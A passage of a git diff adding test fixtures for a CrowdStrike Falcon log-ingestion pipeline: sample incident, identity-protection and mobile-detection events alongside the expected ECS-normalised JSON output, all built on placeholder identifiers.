"process": { + "args": [ + "nginx" + ], + "command_line": "nginx", + "entity_id": "206158879910", + "executable": "/usr/bin/nginx", + "pid": 206158879910 + }, + "related": { + "hosts": [ + "TESTDEVICE01" + ], + "ip": [ + "216.160.83.56", + "10.10.10.10" + ] + }, + "rule": { + "category": "fec73e96a1bf4481be582c3f89b234fa", + "id": "4877172638743447345", + "name": "Inbound SMB Block & Log Private", + "ruleset": "SMB Rules" + }, + "source": { + "as": { + "number": 209 + }, + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": "216.160.83.56", + "port": 54952 + }, + "tags": [ + "preserve_original_event" + ] + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log new file mode 100644 index 0000000000..8c51652f04 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log @@ -0,0 +1,26 @@ +{ + "metadata": { + "customerIDString": "3426316453426234", + "offset": 2664264, + "eventType": "IdentityProtectionEvent", + "eventCreationTime": 1686891836581, + "version": "1.0" + }, + "event": { + "IncidentType": "UNUSUAL_ENDPOINT_USE", + "IncidentDescription": "User seen coming from a location that deviates from their baseline.", + "Severity": 1, + "SeverityName": "INFO", + "StartTime": 1686891836383, + "EndTime": 1686891836553, + "IdentityProtectionIncidentId": "INC-123", + "UserName": "TESTUSER", + "EndpointName": "TESTHOSTNAME", + "EndpointIp": "89.160.20.112", + "Category": "Incidents", + "NumbersOfAlerts": 1, + "NumberOfCompromisedEntities": 1, + "State": "NEW", + "FalconHostLink": "https://falcon.crowdstrike.com/identity-protection/incidents/INC-123" + } +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json new file mode 100644 index 0000000000..286f1e441e --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json @@ -0,0 +1,65 @@ +{ + "expected": [ + { + "@timestamp": "2023-06-16T05:03:56.383Z", + "crowdstrike": { + "event": { + "Category": "Incidents", + "NumberOfCompromisedEntities": 1, + "NumbersOfAlerts": 1, + "Severity": 1, + "SeverityName": "INFO", + "State": "NEW" + }, + "metadata": { + "customerIDString": "3426316453426234", + "eventType": "IdentityProtectionEvent", + "offset": 2664264, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "UNUSUAL_ENDPOINT_USE", + "category": [ + "iam" + ], + "created": "2023-06-16T05:03:56.581Z", + "end": "2023-06-16T05:03:56.553Z", + "id": "INC-123", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"3426316453426234\",\n \"offset\": 2664264,\n \"eventType\": \"IdentityProtectionEvent\",\n \"eventCreationTime\": 1686891836581,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"IncidentType\": \"UNUSUAL_ENDPOINT_USE\",\n \"IncidentDescription\": \"User seen coming from a location that deviates from their baseline.\",\n \"Severity\": 1,\n \"SeverityName\": \"INFO\",\n \"StartTime\": 1686891836383,\n \"EndTime\": 1686891836553,\n \"IdentityProtectionIncidentId\": \"INC-123\",\n \"UserName\": \"TESTUSER\",\n \"EndpointName\": \"TESTHOSTNAME\",\n \"EndpointIp\": \"89.160.20.112\",\n \"Category\": \"Incidents\",\n \"NumbersOfAlerts\": 1,\n \"NumberOfCompromisedEntities\": 1,\n \"State\": \"NEW\",\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/identity-protection/incidents/INC-123\"\n }\n}", + "reference": "https://falcon.crowdstrike.com/identity-protection/incidents/INC-123", + "severity": 21, + "start": "2023-06-16T05:03:56.383Z", + "type": [ + "info" + ] + }, + "host": { + "hostname": "TESTHOSTNAME", + "ip": [ + "89.160.20.112" + ] + }, + "message": "User seen coming from a location that deviates from their baseline.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "user": [ + "TESTUSER" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "TESTUSER" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log new file mode 100644 index 0000000000..0babda0a98 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log @@ -0,0 +1,25 @@ +{ + "metadata": { + "customerIDString": "123123abcd", + "offset": 2, + "eventType": "IncidentSummaryEvent", + "eventCreationTime": 1686845212400, + "version": "1.0" + }, + "event": { + "IncidentStartTime": 1685844891, + "IncidentEndTime": 1685844892, + "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID", + "State": "open", + "FineScore": 0.5, + "LateralMovement": 0, + "IncidentType": 1, + "IncidentID": "inc:123:abc", + "HostID": "TESTHOSTID", + "LMHostIDs": [ + "TESTHOSTID1", + "TESTHOSTID2" + ], + "UserId": "first.last@company.com" + } +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json new file mode 100644 index 0000000000..6f665874ac --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json @@ -0,0 +1,67 @@ +{ + "expected": [ + { + "@timestamp": "2023-06-15T16:06:52.400Z", + "crowdstrike": { + "event": { + "FineScore": 0.5, + "IncidentType": "1", + "LMHostIDs": [ + "TESTHOSTID1", + "TESTHOSTID2" + ], + "State": "open" + }, + "metadata": { + "customerIDString": "123123abcd", + "eventType": "IncidentSummaryEvent", + "offset": 2, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "incident" + ], + "category": [ + "malware" + ], + "created": "2023-06-15T16:06:52.400Z", + "end": "2023-06-04T02:14:52.000Z", + "id": "inc:123:abc", + "kind": "alert", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"123123abcd\",\n \"offset\": 2,\n \"eventType\": \"IncidentSummaryEvent\",\n \"eventCreationTime\": 1686845212400,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"IncidentStartTime\": 1685844891,\n \"IncidentEndTime\": 1685844892,\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID\",\n \"State\": \"open\",\n \"FineScore\": 0.5,\n \"LateralMovement\": 0,\n \"IncidentType\": 1,\n \"IncidentID\": \"inc:123:abc\",\n \"HostID\": \"TESTHOSTID\",\n \"LMHostIDs\": [\n \"TESTHOSTID1\",\n \"TESTHOSTID2\"\n ],\n \"UserId\": \"first.last@company.com\"\n }\n}", + "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID", + "start": "2023-06-04T02:14:51.000Z", + "type": [ + "info" + ] + }, + "host": { + "id": "TESTHOSTID" + }, + "message": "Incident score 0.5", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "user": [ + "first.last", + "first.last@company.com" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "first.last@company.com", + "name": "first.last" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log new file mode 100644 index 0000000000..50ca9b4e77 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log @@ -0,0 +1,75 @@ +{ + "metadata": { + "customerIDString": "12312312312312321", + "offset": 2662765, + "eventType": "IdpDetectionSummaryEvent", + "eventCreationTime": 1686848064000, + "version": "1.0" + }, + "event": { + "ContextTimeStamp": 133221234560000000, + "DetectId": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000", + "DetectName": "Unusual login to an endpoint", + "DetectDescription": "A user logged in to a machine for the first time", + "FalconHostLink": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012", + "StartTime": 123456789000000000, + "EndTime": 123456789000000000, + "Severity": 7, + "Tactic": "Initial Access", + "Technique": "Valid Accounts", + "Objective": "Gain Access", + "SourceAccountDomain": "DOMAIN.COM", + "SourceAccountName": "johnb", + "SourceAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888", + "SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000", + "SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888", + "SourceEndpointHostName": "pc01.domain.com", + "SourceEndpointIpAddress": "81.2.69.144", + "SourceEndpointSensorId": "12345678901234567890123456789012", + "PrecedingActivityTimeStamp": 133154452345780000, + "MostRecentActivityTimeStamp": 133313215755670000, + "ActivityId": "12345678-1234-1234-1234-123456789000", + "PatternId": 51135 + } +} +{ + "metadata": { + "customerIDString": "12312312312312321", + "offset": 2662765, + "eventType": "IdpDetectionSummaryEvent", + "eventCreationTime": 1686848064000, + "version": "1.0" + }, + "event": { + "ContextTimeStamp": 133221234560000000, + "DetectId": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000", + "DetectName": "Unusual login to an endpoint", + "DetectDescription": "A user logged in to a machine for the first time", + "FalconHostLink": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012", + "StartTime": 123456789000000000, + "EndTime": 123456789000000000, + "Severity": 7, + "Tactic": "Initial Access", + "Technique": "Valid Accounts", + "Objective": "Gain Access", + "SourceAccountDomain": "DOMAIN.COM", + "SourceAccountName": "johnb", + "SourceAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888", + "SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000", + "SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888", + "SourceEndpointHostName": "pc01.domain.com", + "SourceEndpointIpAddress": "81.2.69.144", + "SourceEndpointSensorId": "12345678901234567890123456789012", + "PrecedingActivityTimeStamp": 133154452345780000, + "MostRecentActivityTimeStamp": 133313215755670000, + "ActivityId": "12345678-1234-1234-1234-123456789000", + "PatternId": 51135, + "MitreAttack": [ + { + "Tactic": "Initial Access", + "Technique": "Valid Accounts", + "PatternID": 51135 + } + ] + } +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json new file mode 100644 index 0000000000..e2d1d49c31 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json @@ -0,0 +1,181 @@ +{ + "expected": [ + { + "@timestamp": "2023-06-15T16:54:24.000Z", + "crowdstrike": { + "event": { + "ActivityId": "12345678-1234-1234-1234-123456789000", + "MostRecentActivityTimeStamp": 1686847975567, + "Objective": "Gain Access", + "PatternId": "51135", + "PrecedingActivityTimeStamp": 1670971634578, + "Severity": 7, + "SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000", + "SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888", + "SourceEndpointSensorId": "12345678901234567890123456789012" + }, + "metadata": { + "customerIDString": "12312312312312321", + "eventType": "IdpDetectionSummaryEvent", + "offset": 2662765, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "ipd-detection", + "category": [ + "malware" + ], + "created": "2023-03-01T05:50:56.000Z", + "end": "1992-03-21T19:15:00.000Z", + "kind": "alert", + "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"12312312312312321\",\n\t\t\"offset\": 2662765,\n\t\t\"eventType\": \"IdpDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1686848064000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"ContextTimeStamp\": 133221234560000000,\n\t\t\"DetectId\": \"12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000\",\n\t\t\"DetectName\": \"Unusual login to an endpoint\",\n\t\t\"DetectDescription\": \"A user logged in to a machine for the first time\",\n\t\t\"FalconHostLink\": \"https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012\",\n\t\t\"StartTime\": 123456789000000000,\n\t\t\"EndTime\": 123456789000000000,\n\t\t\"Severity\": 7,\n\t\t\"Tactic\": \"Initial Access\",\n\t\t\"Technique\": \"Valid Accounts\",\n\t\t\"Objective\": \"Gain Access\",\n\t\t\"SourceAccountDomain\": \"DOMAIN.COM\",\n\t\t\"SourceAccountName\": \"johnb\",\n\t\t\"SourceAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointAccountObjectGuid\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"SourceEndpointAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointHostName\": \"pc01.domain.com\",\n\t\t\"SourceEndpointIpAddress\": \"81.2.69.144\",\n\t\t\"SourceEndpointSensorId\": \"12345678901234567890123456789012\",\n\t\t\"PrecedingActivityTimeStamp\": 133154452345780000,\n\t\t\"MostRecentActivityTimeStamp\": 133313215755670000,\n\t\t\"ActivityId\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"PatternId\": 51135\n\t}\n}", + "reference": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012", + "start": "1992-03-21T19:15:00.000Z", + "type": [ + "info" + ] + }, + "host": { + "ip": [ + "81.2.69.144" + ], + "name": "pc01.domain.com" + }, + "message": "A user logged in to a machine for the first time", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "pc01.domain.com" + ], + "user": [ + "johnb" + ] + }, + "rule": { + "description": "A user logged in to a machine for the first time", + "id": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000", + "name": "Unusual login to an endpoint", + "uuid": "51135" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "tactic": { + "name": [ + "Initial Access" + ] + }, + "technique": { + "name": [ + "Valid Accounts" + ] + } + }, + "user": { + "domain": "DOMAIN.COM", + "id": "S-1-3-44-55555555-666666666-7777777777-88888", + "name": "johnb" + } + }, + { + "@timestamp": "2023-06-15T16:54:24.000Z", + "crowdstrike": { + "event": { + "ActivityId": "12345678-1234-1234-1234-123456789000", + "MitreAttack": [ + { + "PatternID": "51135", + "Tactic": "Initial Access", + "Technique": "Valid Accounts" + } + ], + "MostRecentActivityTimeStamp": 1686847975567, + "Objective": "Gain Access", + "PatternId": "51135", + "PrecedingActivityTimeStamp": 1670971634578, + "Severity": 7, + "SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000", + "SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888", + "SourceEndpointSensorId": "12345678901234567890123456789012" + }, + "metadata": { + "customerIDString": "12312312312312321", + "eventType": "IdpDetectionSummaryEvent", + "offset": 2662765, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "ipd-detection", + "category": [ + "malware" + ], + "created": "2023-03-01T05:50:56.000Z", + "end": "1992-03-21T19:15:00.000Z", + "kind": "alert", + "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"12312312312312321\",\n\t\t\"offset\": 2662765,\n\t\t\"eventType\": \"IdpDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1686848064000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"ContextTimeStamp\": 133221234560000000,\n\t\t\"DetectId\": \"12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000\",\n\t\t\"DetectName\": \"Unusual login to an endpoint\",\n\t\t\"DetectDescription\": \"A user logged in to a machine for the first time\",\n\t\t\"FalconHostLink\": \"https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012\",\n\t\t\"StartTime\": 123456789000000000,\n\t\t\"EndTime\": 123456789000000000,\n\t\t\"Severity\": 7,\n\t\t\"Tactic\": \"Initial Access\",\n\t\t\"Technique\": \"Valid Accounts\",\n\t\t\"Objective\": \"Gain Access\",\n\t\t\"SourceAccountDomain\": \"DOMAIN.COM\",\n\t\t\"SourceAccountName\": \"johnb\",\n\t\t\"SourceAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointAccountObjectGuid\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"SourceEndpointAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointHostName\": \"pc01.domain.com\",\n\t\t\"SourceEndpointIpAddress\": \"81.2.69.144\",\n\t\t\"SourceEndpointSensorId\": \"12345678901234567890123456789012\",\n\t\t\"PrecedingActivityTimeStamp\": 133154452345780000,\n\t\t\"MostRecentActivityTimeStamp\": 133313215755670000,\n\t\t\"ActivityId\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"PatternId\": 51135,\n\t\t\"MitreAttack\": [\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Initial Access\",\n\t\t\t\t\"Technique\": \"Valid Accounts\",\n\t\t\t\t\"PatternID\": 51135\n\t\t\t}\n\t\t]\n\t}\n}", + "reference": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012", + "start": "1992-03-21T19:15:00.000Z", + "type": [ + "info" + ] + }, + "host": { + "ip": [ + "81.2.69.144" + ], + "name": "pc01.domain.com" + }, + "message": "A user logged in to a machine for the first time", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "pc01.domain.com" + ], + "user": [ + "johnb" + ] + }, + "rule": { + "description": "A user logged in to a machine for the first time", + "id": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000", + "name": "Unusual login to an endpoint", + "uuid": "51135" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "tactic": { + "name": [ + "Initial Access" + ] + }, + "technique": { + "name": [ + "Valid Accounts" + ] + } + }, + "user": { + "domain": "DOMAIN.COM", + "id": "S-1-3-44-55555555-666666666-7777777777-88888", + "name": "johnb" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log new file mode 100644 index 0000000000..9a5d1e9499 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log @@ -0,0 +1,80 @@ +{ + "metadata": { + "customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV", + "offset": 701283, + "eventType": "MobileDetectionSummaryEvent", + "eventCreationTime": 1649420269000, + "version": "1.0" + }, + "event": { + "SensorId": "85ae98xxxxxxd9a8f2", + "MobileDetectionId": 1310556238, + "ComputerName": "TESTComputer", + "UserName": "TestUSER", + "ContextTimeStamp": 1649061056, + "DetectId": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238", + "DetectName": "AppSideloadDetected", + "DetectDescription": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ", + "Tactic": "Insecure security posture", + "TacticId": "CSTA0009", + "Technique": "Bad device settings", + "TechniqueId": "CST0024", + "Objective": "Falcon Detection Method", + "Severity": 50, + "FalconHostLink": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV", + "MobileAppsDetails": [{ + "AppIdentifier": "com.facebook.katana", + "AndroidAppLabel": "Facebook", + "DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789", + "ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk", + "AppInstallerInformation": "unknown", + "IsBeingDebugged": false, + "AndroidAppVersionName": "323.0.0.46.119", + "IsContainerized": false + }] + } +} +{ + "metadata": { + "customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV", + "offset": 701283, + "eventType": "MobileDetectionSummaryEvent", + "eventCreationTime": 1649420269000, + "version": "1.0" + }, + "event": { + "SensorId": "85ae98xxxxxxd9a8f2", + "MobileDetectionId": 1310556238, + "ComputerName": "TESTComputer", + "UserName": "TestUSER", + "ContextTimeStamp": 1649061056, + "DetectId": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238", + "DetectName": "AppSideloadDetected", + "DetectDescription": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ", + "Tactic": "Insecure security posture", + "TacticId": "CSTA0009", + "Technique": "Bad device settings", + "TechniqueId": "CST0024", + "Objective": "Falcon Detection Method", + "Severity": 50, + "FalconHostLink": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV", + "MitreAttack": [ + { + "Tactic": "Insecure security posture", + "TacticID": "CSTA0009", + "Technique": "Bad device settings", + "TechniqueID": "CST0024" + } + ], + "MobileAppsDetails": [{ + "AppIdentifier": "com.facebook.katana", + "AndroidAppLabel": "Facebook", + "DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789", + "ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk", + "AppInstallerInformation": "unknown", + "IsBeingDebugged": false, + "AndroidAppVersionName": "323.0.0.46.119", + "IsContainerized": false + }] + } +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json new file mode 100644 index 0000000000..d9f92bfbdc --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json @@ -0,0 +1,196 @@ +{ + "expected": [ + { + "@timestamp": "2022-04-08T12:17:49.000Z", + "crowdstrike": { + "event": { + "MobileAppsDetails": [ + { + "AndroidAppLabel": "Facebook", + "AndroidAppVersionName": "323.0.0.46.119", + "AppIdentifier": "com.facebook.katana", + "AppInstallerInformation": "unknown", + "DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789", + "ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk", + "IsBeingDebugged": false, + "IsContainerized": false + } + ], + "Objective": "Falcon Detection Method", + "Severity": 50 + }, + "metadata": { + "customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV", + "eventType": "MobileDetectionSummaryEvent", + "offset": 701283, + "version": "1.0" + } + }, + "device": { + "id": "85ae98xxxxxxd9a8f2" + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "mobile-detection", + "category": [ + "malware" + ], + "created": "2022-04-04T08:30:56.000Z", + "id": "1310556238", + "kind": "alert", + "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"offset\": 701283,\n\t\t\"eventType\": \"MobileDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1649420269000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"SensorId\": \"85ae98xxxxxxd9a8f2\",\n\t\t\"MobileDetectionId\": 1310556238,\n\t\t\"ComputerName\": \"TESTComputer\",\n\t\t\"UserName\": \"TestUSER\",\n\t\t\"ContextTimeStamp\": 1649061056,\n\t\t\"DetectId\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238\",\n\t\t\"DetectName\": \"AppSideloadDetected\",\n\t\t\"DetectDescription\": \"Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. \",\n\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\"TacticId\": \"CSTA0009\",\n\t\t\"Technique\": \"Bad device settings\",\n\t\t\"TechniqueId\": \"CST0024\",\n\t\t\"Objective\": \"Falcon Detection Method\",\n\t\t\"Severity\": 50,\n\t\t\"FalconHostLink\": \"https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"MobileAppsDetails\": [{\n\t\t\t\"AppIdentifier\": \"com.facebook.katana\",\n\t\t\t\"AndroidAppLabel\": \"Facebook\",\n\t\t\t\"DexFileHashes\": \"abc456xxxxxxxxxxxxxxxxdef789\",\n\t\t\t\"ImageFileName\": \"/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk\",\n\t\t\t\"AppInstallerInformation\": \"unknown\",\n\t\t\t\"IsBeingDebugged\": false,\n\t\t\t\"AndroidAppVersionName\": \"323.0.0.46.119\",\n\t\t\t\"IsContainerized\": false\n\t\t}]\n\t}\n}", + "reference": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV", + "type": [ + "info" + ] + }, + "host": { + "name": "TESTComputer" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "TESTComputer" + ], + "user": [ + "TestUSER" + ] + }, + "rule": { + "description": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ", + "id": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238", + "name": "AppSideloadDetected" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "id": [ + "CSTA0009" + ], + "name": [ + "Insecure security posture" + ] + }, + "technique": { + "id": [ + "CST0024" + ], + "name": [ + "Bad device settings" + ] + } + }, + "user": { + "name": "TestUSER" + } + }, + { + "@timestamp": "2022-04-08T12:17:49.000Z", + "crowdstrike": { + "event": { + "MitreAttack": [ + { + "Tactic": "Insecure security posture", + "TacticID": "CSTA0009", + "Technique": "Bad device settings", + "TechniqueID": "CST0024" + } + ], + "MobileAppsDetails": [ + { + "AndroidAppLabel": "Facebook", + "AndroidAppVersionName": "323.0.0.46.119", + "AppIdentifier": "com.facebook.katana", + "AppInstallerInformation": "unknown", + "DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789", + "ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk", + "IsBeingDebugged": false, + "IsContainerized": false + } + ], + "Objective": "Falcon Detection Method", + "Severity": 50 + }, + "metadata": { + "customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV", + "eventType": "MobileDetectionSummaryEvent", + "offset": 701283, + "version": "1.0" + } + }, + "device": { + "id": "85ae98xxxxxxd9a8f2" + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "mobile-detection", + "category": [ + "malware" + ], + "created": "2022-04-04T08:30:56.000Z", + "id": "1310556238", + "kind": "alert", + "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"offset\": 701283,\n\t\t\"eventType\": \"MobileDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1649420269000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"SensorId\": \"85ae98xxxxxxd9a8f2\",\n\t\t\"MobileDetectionId\": 1310556238,\n\t\t\"ComputerName\": \"TESTComputer\",\n\t\t\"UserName\": 